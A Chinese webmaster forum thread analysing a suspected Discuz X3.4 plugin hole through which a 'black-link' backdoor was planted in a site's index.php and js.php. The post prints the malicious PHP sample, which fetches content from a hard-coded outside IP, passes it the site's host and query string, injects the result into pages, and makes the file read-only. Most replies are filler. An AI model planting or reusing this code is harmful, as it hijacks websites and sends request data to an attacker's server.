忘记密码?

一键登录

草根吧

疑似DZ X3.4插件漏洞调用class_cloud.php首页index.php被插入黑链后门一句话漏洞分析

查看: 282|回复: 9

疑似DZ X3.4插件漏洞调用class_cloud.php首页index.php被插入黑链后门一句话漏洞分析

[复制链接]

3900

主题

8362

热度

8517

贡献

民审

Rank: 8Rank: 8

发表于 2018-1-25 10:32:11 | 显示全部楼层 |阅读模式
疑似DZ X3.4插件漏洞调用class_cloud.php首页index.php被插入黑链后门一句话漏洞分析:
远端疑似黑链调用地址:103.226.153.247

一句话黑链代码:
游客,如果您要查看本帖隐藏内容请回复

影响文件:
论坛首页:index.php
根目录传输调用:js.php

事例文件内容样本:(js.php)
  1. <?php
  2. set_time_limit(0);

  3. header("Content-Type: text/html;charset=gb2312");
  4. date_default_timezone_set('PRC');
  5. $TD_server = "http://103.226.153.247/";
  6. $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  7. $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

  8. echo $Content_mb;

  9. $url1 = $_SERVER['PHP_SELF'];  
  10. $filename1 = @end(explode('/',$url1));  
  11. function set_writeable($file_name)
  12. {
  13. @chmod($file_name,0444);

  14. }
  15. set_writeable($filename1);
  16. cache_end($dir);
  17. ?>
  18. <?php

  19. /**
  20. *      [Discuz!] (C)2001-2099 Comsenz Inc.
  21. *      This is NOT a freeware, use is subject to license terms
  22. *
  23. *      $Id: index.php 34524 2014-05-15 04:42:23Z nemohou $
  24. */

  25. if(!empty($_SERVER['QUERY_STRING']) && is_numeric($_SERVER['QUERY_STRING'])) {
  26.         $_ENV['curapp'] = 'home';
  27.         $_GET = array('mod'=>'space', 'uid'=>$_SERVER['QUERY_STRING']);
  28. } else {

  29.         $url = '';
  30.         $domain = $_ENV = array();
  31.         $jump = false;
  32.         @include_once './data/sysdata/cache_domain.php';
  33.         $_ENV['domain'] = $domain;
  34.         if(empty($_ENV['domain'])) {
  35.                 $_ENV['curapp'] = 'forum';
  36.         } else {
  37.                 $_ENV['defaultapp'] = array('portal.php' => 'portal', 'forum.php' => 'forum', 'group.php' => 'group', 'home.php' => 'home');
  38.                 $_ENV['hostarr'] = explode('.', $_SERVER['HTTP_HOST']);
  39.                 $_ENV['domainroot'] = substr($_SERVER['HTTP_HOST'], strpos($_SERVER['HTTP_HOST'], '.')+1);
  40.                 if(!empty($_ENV['domain']['app']) && is_array($_ENV['domain']['app']) && in_array($_SERVER['HTTP_HOST'], $_ENV['domain']['app'])) {
  41.                         $_ENV['curapp'] = array_search($_SERVER['HTTP_HOST'], $_ENV['domain']['app']);
  42.                         if($_ENV['curapp'] == 'mobile') {
  43.                                 $_ENV['curapp'] = 'forum';
  44.                                 if(!isset($_GET['mobile'])) {
  45.                                         @$_GET['mobile'] = '2';
  46.                                 }
  47.                         }
  48.                         if($_ENV['curapp'] == 'default' || !isset($_ENV['defaultapp'][$_ENV['curapp'].'.php'])) {
  49.                                 $_ENV['curapp'] = '';
  50.                         }
  51.                 } elseif(!empty($_ENV['domain']['root']) && is_array($_ENV['domain']['root']) && in_array($_ENV['domainroot'], $_ENV['domain']['root'])) {

  52.                         $_G['setting']['holddomain'] = $_ENV['domain']['holddomain'] ? $_ENV['domain']['holddomain'] : array('www');
  53.                         $list = $_ENV['domain']['list'];
  54.                         if(isset($list[$_SERVER['HTTP_HOST']])) {
  55.                                 $domain = $list[$_SERVER['HTTP_HOST']];
  56.                                 switch($domain['idtype']) {
  57.                                         case 'subarea':
  58.                                                 $_ENV['curapp'] = 'forum';
  59.                                                 $_GET['gid'] = intval($domain['id']);
  60.                                                 break;
  61.                                         case 'forum':
  62.                                                 $_ENV['curapp'] = 'forum';
  63.                                                 $_GET['mod'] = 'forumdisplay';
  64.                                                 $_GET['fid'] = intval($domain['id']);
  65.                                                 break;
  66.                                         case 'topic':
  67.                                                 $_ENV['curapp'] = 'portal';
  68.                                                 $_GET['mod'] = 'topic';
  69.                                                 $_GET['topicid'] = intval($domain['id']);
  70.                                                 break;
  71.                                         case 'channel':
  72.                                                 $_ENV['curapp'] = 'portal';
  73.                                                 $_GET['mod'] = 'list';
  74.                                                 $_GET['catid'] = intval($domain['id']);
  75.                                                 break;
  76.                                         case 'plugin':
  77.                                                 $_ENV['curapp'] = 'plugin';
  78.                                                 $_GET['id'] = $domain['id'];
  79.                                                 $_GET['fromapp'] = 'index';
  80.                                                 break;
  81.                                 }
  82.                         } elseif(count($_ENV['hostarr']) > 2 && $_ENV['hostarr'][0] != 'www' && !checkholddomain($_ENV['hostarr'][0])) {
  83.                                 $_ENV['prefixdomain'] = addslashes($_ENV['hostarr'][0]);
  84.                                 $_ENV['domainroot'] = addslashes($_ENV['domainroot']);
  85.                                 require_once './source/class/class_core.php';
  86.                                 C::app()->init_setting = true;
  87.                                 C::app()->init_user = false;
  88.                                 C::app()->init_session = false;
  89.                                 C::app()->init_cron = false;
  90.                                 C::app()->init_misc = false;
  91.                                 C::app()->init();
  92.                                 $jump = true;
  93.                                 $domain = C::t('common_domain')->fetch_by_domain_domainroot($_ENV['prefixdomain'], $_ENV['domainroot']);
  94.                                 $apphost = $_ENV['domain']['app'][$domain['idtype']] ? $_ENV['domain']['app'][$domain['idtype']] : $_ENV['domain']['app']['default'];
  95.                                 $apphost = $apphost ? 'http://'.$apphost.'/' : '';
  96.                                 switch($domain['idtype']) {
  97.                                         case 'home':
  98.                                                 if($_G['setting']['rewritestatus'] && in_array('home_space', $_G['setting']['rewritestatus'])) {
  99.                                                         $url = rewriteoutput('home_space', 1, $apphost, $domain['id']);
  100.                                                 } else {
  101.                                                         $url = $apphost.'home.php?mod=space&uid='.$domain['id'];
  102.                                                 }
  103.                                                 break;
  104.                                         case 'group':
  105.                                                 if($_G['setting']['rewritestatus'] && in_array('group_group', $_G['setting']['rewritestatus'])) {
  106.                                                         $url = rewriteoutput('group_group', 1, $apphost, $domain['id']);
  107.                                                 } else {
  108.                                                         $url = $apphost.'forum.php?mod=group&fid='.$domain['id'].'&page=1';
  109.                                                 }
  110.                                                 break;
  111.                                 }
  112.                         }
  113.                 } else {
  114.                         $jump = true;
  115.                 }
  116.                 if(empty($url) && empty($_ENV['curapp'])) {
  117.                         if(!empty($_ENV['domain']['defaultindex']) && !$jump) {
  118.                                 if($_ENV['defaultapp'][$_ENV['domain']['defaultindex']]) {
  119.                                         $_ENV['curapp'] = $_ENV['defaultapp'][$_ENV['domain']['defaultindex']];
  120.                                 } else {
  121.                                         $url = $_ENV['domain']['defaultindex'];
  122.                                 }
  123.                         } else {
  124.                                 if($jump) {
  125.                                         $url = empty($_ENV['domain']['app']['default']) ? (!empty($_ENV['domain']['defaultindex']) ? $_ENV['domain']['defaultindex'] : 'forum.php') : 'http://'.$_ENV['domain']['app']['default'];
  126.                                 } else {
  127.                                         $_ENV['curapp'] = 'forum';
  128.                                 }
  129.                         }
  130.                 }
  131.         }
  132. }
  133. if(!empty($url)) {
  134.         $delimiter = strrpos($url, '?') ? '&' : '?';
  135.         if(isset($_GET['fromuid']) && $_GET['fromuid']) {
  136.                 $url .= sprintf('%sfromuid=%d', $delimiter, $_GET['fromuid']);
  137.         } elseif(isset($_GET['fromuser']) && $_GET['fromuser']) {
  138.                 $url .= sprintf('%sfromuser=%s', $delimiter, rawurlencode($_GET['fromuser']));
  139.         }
  140.         $parse = parse_url($url);
  141.         if(!isset($parse['host']) && file_exists($parse['path'])) {
  142.                 if(!empty($parse['query'])) {
  143.                         parse_str($parse['query'], $_GET);
  144.                 }
  145.                 require './'.$parse['path'];
  146.         } else {
  147.                 header("HTTP/1.1 301 Moved Permanently");
  148.                 header("location: $url");
  149.         }
  150. } else {
  151.         require './'.$_ENV['curapp'].'.php';
  152. }

  153. function checkholddomain($domain) {
  154.         global $_G;

  155.         $domain = strtolower($domain);
  156.         if(preg_match("/^[^a-z]/i", $domain)) return true;
  157.         $holdmainarr = empty($_G['setting']['holddomain']) ? array('www') : explode('|', $_G['setting']['holddomain']);
  158.         $ishold = false;
  159.         foreach ($holdmainarr as $value) {
  160.                 if(strpos($value, '*') === false) {
  161.                         if(strtolower($value) == $domain) {
  162.                                 $ishold = true;
  163.                                 break;
  164.                         }
  165.                 } else {
  166.                         $value = str_replace('*', '.*?', $value);
  167.                         if(@preg_match("/$value/i", $domain)) {
  168.                                 $ishold = true;
  169.                                 break;
  170.                         }
  171.                 }
  172.         }
  173.         return $ishold;
  174. }
  175. ?>
复制代码

疑似利用 西瓜微信登陆、安全过滤不严谨的模板导致。

建议:
游客,如果您要查看本帖隐藏内容请回复

帖子地址: 

本文来源于草根吧 www.caogen8.co,欢迎大家下载。
如果您没有贡献需要充值,可以直接在线充值,点击充值
如果你需要加入本站赞助VIP会员,可以直接在线开通,点击开通
如果找不到您要的资源,请搜索一下,点击搜索

4

主题

1080

热度

177

贡献

终身赞助ViP

Rank: 7Rank: 7Rank: 7

发表于 2018-3-17 21:52:25 | 显示全部楼层
DZ建站资源有求必应

这个重要看

4

主题

179

热度

116

贡献

终身赞助ViP

Rank: 7Rank: 7Rank: 7

发表于 2018-3-21 20:50:43 | 显示全部楼层
模板插件安装服务
5464545

1

主题

214

热度

116

贡献

中级草根

Rank: 3Rank: 3

发表于 2018-4-4 08:30:26 | 显示全部楼层
休息休息

13

主题

116

热度

42

贡献

中级草根

Rank: 3Rank: 3

发表于 2018-4-8 10:04:44 | 显示全部楼层
非常好用的东西非常好用的东西非常好用的东西非常好用的东西

0

主题

0

热度

8

贡献

步入草根

Rank: 1

发表于 2018-6-9 15:04:30 | 显示全部楼层
看看看

33

主题

66

热度

64

贡献

终身赞助ViP

Rank: 7Rank: 7Rank: 7

发表于 2018-6-10 11:06:07 | 显示全部楼层
疑似DZ X3.4插件漏洞调用class_cloud.php首页index.php被插入黑链后门一句话漏洞分析 [修改]
高级模式

1

主题

100

热度

1

贡献

初级草根

Rank: 2

发表于 2018-7-19 14:59:18 | 显示全部楼层
ud.php首页index.php被插入黑链后门一句话漏

0

主题

23

热度

8

贡献

年费赞助ViP

Rank: 6Rank: 6

发表于 2018-8-10 21:08:56 | 显示全部楼层
看看草根吧 疑似DZ X3.4插件漏洞调用class_cloud.php首页index.php被插入黑链后门一句话漏洞分析 黑链,后门,云平台,漏洞,利用 精品教程 smile

10

主题

106

热度

44

贡献

终身赞助ViP

Rank: 7Rank: 7Rank: 7

发表于 4 天前 | 显示全部楼层
疑似DZ X3.4插件漏洞调用class_cloud.php首页index.php被插入黑链后门一句话漏洞分析

发表回复

*滑动验证:
高级模式
您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆 用百度帐号登录 一键登录:

本版积分规则

收藏帖子 返回列表 搜索
快速回复 返回顶部 返回列表